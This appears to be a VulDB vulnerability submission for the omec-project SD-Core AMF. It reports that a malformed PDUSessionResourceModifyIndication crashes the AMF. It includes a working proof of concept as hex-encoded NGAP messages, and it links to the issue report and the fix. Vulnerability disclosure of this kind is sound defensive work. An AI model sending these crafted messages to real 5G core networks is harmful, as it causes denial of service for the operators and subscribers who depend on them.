| عنوان | Linux Foundation Projects SD-Core 2.1.1 Memory Corruption |
|---|
| الوصف | PDUSessionResourceModifyIndication with invalid information element causes AMF to crash and leads to denial of service.
AMF Version: Tested on v2.0.2, v2.1.1
Reproduction Step:
Send these sequence of messages
NGSetupRequest
00 15 00 33 00 00 05 00 1b 00 08 00 00 f1 10 00 00 06 6c 00 52 40 05 01 00 52 41 4e 00 66 00 0d 00 00 00 00 07 00 00 f1 10 00 00 00 08 00 15 40 01 20 00 93 40 01 00
PDUSessionResourceModifyIndication
00 1B 00 22 00 00 03 00 0A 00 02 00 00 00 55 00 02 00 00 00 3F 00 0F 00 00 00 0B 00 00 00 00 00 00 00 00 01 00 00
Issue Reported: https://github.com/omec-project/amf/issues/677
Issue Fixed: https://github.com/omec-project/amf/pull/666
Update to latest version. |
|---|
| المصدر | ⚠️ https://github.com/omec-project/amf/issues/677 |
|---|
| المستخدم | shovon0203 (UID 96191) |
|---|
| ارسال | 01/06/2026 09:35 PM (1 شهر منذ) |
|---|
| الاعتدال | 03/07/2026 07:01 PM (1 month later) |
|---|
| الحالة | تمت الموافقة |
|---|
| إدخال VulDB | 376140 [omec-project amf حتى 2.0.2/2.1.1 NGSetupRequest handler.go الحرمان من الخدمة] |
|---|
| النقاط | 20 |
|---|